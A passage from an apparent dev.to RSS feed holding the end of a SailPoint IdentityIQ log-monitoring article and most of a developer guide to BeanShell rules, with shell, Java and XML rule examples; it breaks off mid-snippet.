  &lt;/span&gt;&lt;span class="nv"&gt;oom&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s1"&gt;'OutOfMemoryError'&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$CATALINA_OUT&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
  &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$oom&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;-gt&lt;/span&gt; 0 &lt;span class="o"&gt;]]&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"CRITICAL: &lt;/span&gt;&lt;span class="nv"&gt;$oom&lt;/span&gt;&lt;span class="s2"&gt; OutOfMemoryError in catalina.out"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nv"&gt;status&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;2&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;fi

&lt;/span&gt;&lt;span class="nb"&gt;exit&lt;/span&gt; &lt;span class="nv"&gt;$status&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Note &lt;code&gt;-p"$DB_PASS"&lt;/code&gt; reads from the environment rather than hardcoding a credential, and &lt;code&gt;-N -B&lt;/code&gt; strips headers and formatting so the output parses cleanly.&lt;/p&gt;

&lt;h3&gt;
  
  
  Watching Aggregation in Real Time
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Follow only connector activity during an aggregation run&lt;/span&gt;
&lt;span class="nb"&gt;tail&lt;/span&gt; &lt;span class="nt"&gt;-f&lt;/span&gt; /opt/tomcat/logs/catalina.out | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;--line-buffered&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s1"&gt;'sailpoint.connector|Aggregation'&lt;/span&gt;

&lt;span class="c"&gt;# Count errors by type from today's log&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s1"&gt;'ERROR'&lt;/span&gt; /opt/tomcat/logs/catalina.out &lt;span class="se"&gt;\&lt;/span&gt;
  | &lt;span class="nb"&gt;sed&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s1"&gt;'s/.*ERROR[[:space:]]+//'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  | &lt;span class="nb"&gt;cut&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;&lt;span class="s1"&gt;' '&lt;/span&gt; &lt;span class="nt"&gt;-f1&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  | &lt;span class="nb"&gt;sort&lt;/span&gt; | &lt;span class="nb"&gt;uniq&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt; | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-20&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;--line-buffered&lt;/code&gt; on &lt;code&gt;grep&lt;/code&gt; is what makes the first command actually stream; without it grep buffers output and the tail appears frozen.&lt;/p&gt;

&lt;h2&gt;
  
  
  Putting It Together
&lt;/h2&gt;

&lt;p&gt;A sound IdentityIQ deployment pipeline uses all three layers: shell scripts export objects from development into Git, compiled Java holds logic too complex for BeanShell, and MySQL is queried read-only for diagnostics while all writes go through the IdentityIQ API.&lt;/p&gt;

&lt;p&gt;The governance logic you build on top of this — rules, workflows, and tasks — is covered in the companion guide to &lt;a href="https://dev.to/posts/sailpoint-identityiq-beanshell-rules-workflows-tasks-developer-guide/"&gt;IdentityIQ BeanShell rules, workflows, and tasks&lt;/a&gt;. For how IdentityIQ compares to other platforms in this space, see our &lt;a href="https://dev.to/posts/iam-tools-comparison-complete-guide-to-identity-platforms/"&gt;IAM tools comparison&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>sailpoint</category>
      <category>identityiq</category>
      <category>mysql</category>
      <category>java</category>
    </item>
    <item>
      <title>SailPoint IdentityIQ BeanShell Rules, Workflows, and Tasks: A Developer's Guide</title>
      <dc:creator>IAMDevBox</dc:creator>
      <pubDate>Fri, 21 Aug 2026 02:19:24 +0000</pubDate>
      <link>https://dev.to/iamdevbox/sailpoint-identityiq-beanshell-rules-workflows-and-tasks-a-developers-guide-1jpn</link>
      <guid>https://dev.to/iamdevbox/sailpoint-identityiq-beanshell-rules-workflows-and-tasks-a-developers-guide-1jpn</guid>
      <description>&lt;p&gt;SailPoint IdentityIQ ships with three extension points where you write code: &lt;strong&gt;rules&lt;/strong&gt; (BeanShell scripts that compute a value), &lt;strong&gt;workflows&lt;/strong&gt; (XML state machines that orchestrate multi-step processes), and &lt;strong&gt;tasks&lt;/strong&gt; (scheduled jobs that operate on data in bulk). Almost every IdentityIQ customization you will ever build fits into one of those three. This guide covers what each one is for, the API you use inside them, and the failure modes that cost new IdentityIQ developers the most time.&lt;/p&gt;

&lt;p&gt;If you are coming from a different IAM platform, the closest analogue is scripted customization in ForgeRock — see our &lt;a href="https://dev.to/posts/forgerock-am-script-customization-a-practical-guide/"&gt;ForgeRock AM script customization guide&lt;/a&gt; for a comparison of how the two platforms approach the same problem.&lt;/p&gt;

&lt;h2&gt;
  
  
  Choosing the Right Extension Point
&lt;/h2&gt;

&lt;p&gt;Before writing anything, pick the correct mechanism. Choosing wrong is the most expensive mistake in IdentityIQ development, because migrating logic from a rule to a workflow later means rewriting it entirely.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;You need to...&lt;/th&gt;
&lt;th&gt;Use&lt;/th&gt;
&lt;th&gt;Runs&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Transform an attribute value&lt;/td&gt;
&lt;td&gt;Rule&lt;/td&gt;
&lt;td&gt;Synchronously, in-process&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Match an account to an identity&lt;/td&gt;
&lt;td&gt;Correlation Rule&lt;/td&gt;
&lt;td&gt;During aggregation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Decide who approves a request&lt;/td&gt;
&lt;td&gt;Workflow&lt;/td&gt;
&lt;td&gt;Asynchronously, may pause for days&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Process every identity in bulk&lt;/td&gt;
&lt;td&gt;Task&lt;/td&gt;
&lt;td&gt;On a schedule&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Modify data on its way to a target system&lt;/td&gt;
&lt;td&gt;Provisioning Rule&lt;/td&gt;
&lt;td&gt;During provisioning&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The dividing line between a rule and a workflow is &lt;strong&gt;whether the logic can pause&lt;/strong&gt;. A rule runs start to finish in a single thread and returns one value. If your logic needs to wait for a human, it must be a workflow.&lt;/p&gt;

&lt;h2&gt;
  
  
  BeanShell: The Language IdentityIQ Actually Runs
&lt;/h2&gt;

&lt;p&gt;IdentityIQ rules are written in BeanShell, a scripting language that interprets Java syntax at runtime. This is the single most important thing to understand about IdentityIQ development, because BeanShell's differences from Java cause the majority of production rule failures.&lt;/p&gt;

&lt;h3&gt;
  
  
  What BeanShell Does Not Support
&lt;/h3&gt;

&lt;p&gt;BeanShell implements Java syntax as of roughly Java 1.4. The following will fail:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="c1"&gt;// GENERICS — not supported. This throws a parse error.&lt;/span&gt;
&lt;span class="nc"&gt;List&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;names&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;ArrayList&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;();&lt;/span&gt;

&lt;span class="c1"&gt;// Correct: use raw types&lt;/span&gt;
&lt;span class="nc"&gt;List&lt;/span&gt; &lt;span class="n"&gt;names&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;ArrayList&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;

&lt;span class="c1"&gt;// LAMBDAS and streams — not supported&lt;/span&gt;
&lt;span class="n"&gt;names&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;stream&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;filter&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;startsWith&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"a"&lt;/span&gt;&lt;span class="o"&gt;));&lt;/span&gt;

&lt;span class="c1"&gt;// Correct: use an explicit loop&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;names&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;size&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="n"&gt;names&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;get&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;startsWith&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"a"&lt;/span&gt;&lt;span class="o"&gt;))&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt; &lt;span class="cm"&gt;/* ... */&lt;/span&gt; &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// ANNOTATIONS — not supported&lt;/span&gt;
&lt;span class="nd"&gt;@Override&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="nf"&gt;toString&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt; &lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Loose Typing Hides Bugs Until Runtime
&lt;/h3&gt;

&lt;p&gt;BeanShell lets you declare variables without a type. This is convenient and dangerous:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Both are legal in BeanShell&lt;/span&gt;
&lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;identity&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getName&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
&lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;identity&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getName&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Because the script is interpreted, a misspelled method name compiles fine and fails only when that specific branch executes. A rule that works in your test case can fail six months later the first time an identity hits an untested code path. Two defenses matter:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Always declare types explicitly.&lt;/strong&gt; It does not make BeanShell check them at parse time, but it documents intent and catches cast errors sooner.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Validate rules before deploying.&lt;/strong&gt; The iiq console has a syntax checker — see the console section below.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Null Safety Is Entirely Your Job
&lt;/h3&gt;

&lt;p&gt;IdentityIQ getters return &lt;code&gt;null&lt;/code&gt; constantly. An identity may have no manager, a link may have no attribute, an application may not be assigned. Defensive null checks are not optional:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;sailpoint.object.Identity&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="nc"&gt;Identity&lt;/span&gt; &lt;span class="n"&gt;manager&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;identity&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getManager&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
&lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;managerEmail&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;manager&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;managerEmail&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;manager&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getStringAttribute&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"email"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;managerEmail&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="n"&gt;managerEmail&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;trim&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;length&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;managerEmail&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"identity-governance@example.com"&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;  &lt;span class="c1"&gt;// fallback&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;managerEmail&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Rules: The Most Common Extension Point
&lt;/h2&gt;

&lt;p&gt;A rule is a &lt;code&gt;Rule&lt;/code&gt; object stored in the database, containing a BeanShell script and a declared type. The type determines &lt;strong&gt;which arguments IdentityIQ passes in&lt;/strong&gt;, and this is where most confusion lives — every rule type receives a different set of variables.&lt;/p&gt;

&lt;h3&gt;
  
  
  Anatomy of a Rule
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?xml version='1.0' encoding='UTF-8'?&amp;gt;&lt;/span&gt;
&lt;span class="cp"&gt;&amp;lt;!DOCTYPE Rule PUBLIC "sailpoint.dtd" "sailpoint.dtd"&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;Rule&lt;/span&gt; &lt;span class="na"&gt;language=&lt;/span&gt;&lt;span class="s"&gt;"beanshell"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"Example Manager Email Rule"&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"IdentityAttribute"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;Description&amp;gt;&lt;/span&gt;
    Returns the manager's email address, falling back to a governance mailbox.
  &lt;span class="nt"&gt;&amp;lt;/Description&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;Signature&lt;/span&gt; &lt;span class="na"&gt;returnType=&lt;/span&gt;&lt;span class="s"&gt;"String"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;Inputs&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;Argument&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"identity"&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"sailpoint.object.Identity"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;Argument&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"context"&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"sailpoint.api.SailPointContext"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/Inputs&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/Signature&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;Source&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;&amp;lt;![CDATA[
    import sailpoint.object.Identity;

    if (identity == null) {
        return null;
    }

    Identity manager = identity.getManager();
    if (manager == null) {
        return "identity-governance@example.com";
    }

    return manager.getStringAttribute("email");
  ]]&amp;gt;&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/Source&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/Rule&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Three details matter here:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;The &lt;code&gt;&amp;lt;Source&amp;gt;&lt;/code&gt; must be wrapped in &lt;code&gt;CDATA&lt;/code&gt;.&lt;/strong&gt; Without it, any &lt;code&gt;&amp;lt;&lt;/code&gt;, &lt;code&gt;&amp;gt;&lt;/code&gt;, or &lt;code&gt;&amp;amp;&lt;/code&gt; in your code breaks the XML parse.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The &lt;code&gt;type&lt;/code&gt; attribute is not cosmetic.&lt;/strong&gt; It controls the input arguments and where the rule appears in the UI dropdowns.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;&amp;lt;Signature&amp;gt;&lt;/code&gt; is documentation, not enforcement.&lt;/strong&gt; BeanShell does not validate arguments against it. Declaring an argument that IdentityIQ does not actually pass yields &lt;code&gt;null&lt;/code&gt; at runtime, not an error.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Rule Types You Will Actually Write
&lt;/h3&gt;

&lt;p&gt;IdentityIQ defines dozens of rule types. In practice, a small handful cover most work:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;BuildMap&lt;/strong&gt; — Runs once per row of incoming data during aggregation, converting a raw record into a &lt;code&gt;Map&lt;/code&gt; of attributes. Required by the JDBC connector, and used heavily with delimited-file connectors. The &lt;code&gt;record&lt;/code&gt; variable holds the incoming data:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.util.HashMap&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="nc"&gt;HashMap&lt;/span&gt; &lt;span class="n"&gt;resultMap&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;HashMap&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;cols&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;size&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;colName&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="n"&gt;cols&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;get&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="nc"&gt;Object&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;record&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;get&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;colName&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;resultMap&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;put&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;colName&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// Derive a value that does not exist in the source&lt;/span&gt;
&lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="n"&gt;resultMap&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;get&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"EMP_STATUS"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;resultMap&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;put&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"isActive"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"1"&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;equals&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;?&lt;/span&gt; &lt;span class="s"&gt;"true"&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s"&gt;"false"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;resultMap&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Correlation&lt;/strong&gt; — Decides which identity an account belongs to when a simple attribute match is not enough. Returns a &lt;code&gt;Map&lt;/code&gt; naming the identity attribute to match on:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.util.HashMap&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="nc"&gt;HashMap&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;HashMap&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
&lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;employeeId&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="n"&gt;account&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getAttribute&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"employeeNumber"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;employeeId&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;employeeId&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;length&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// Strip a legacy prefix before matching&lt;/span&gt;
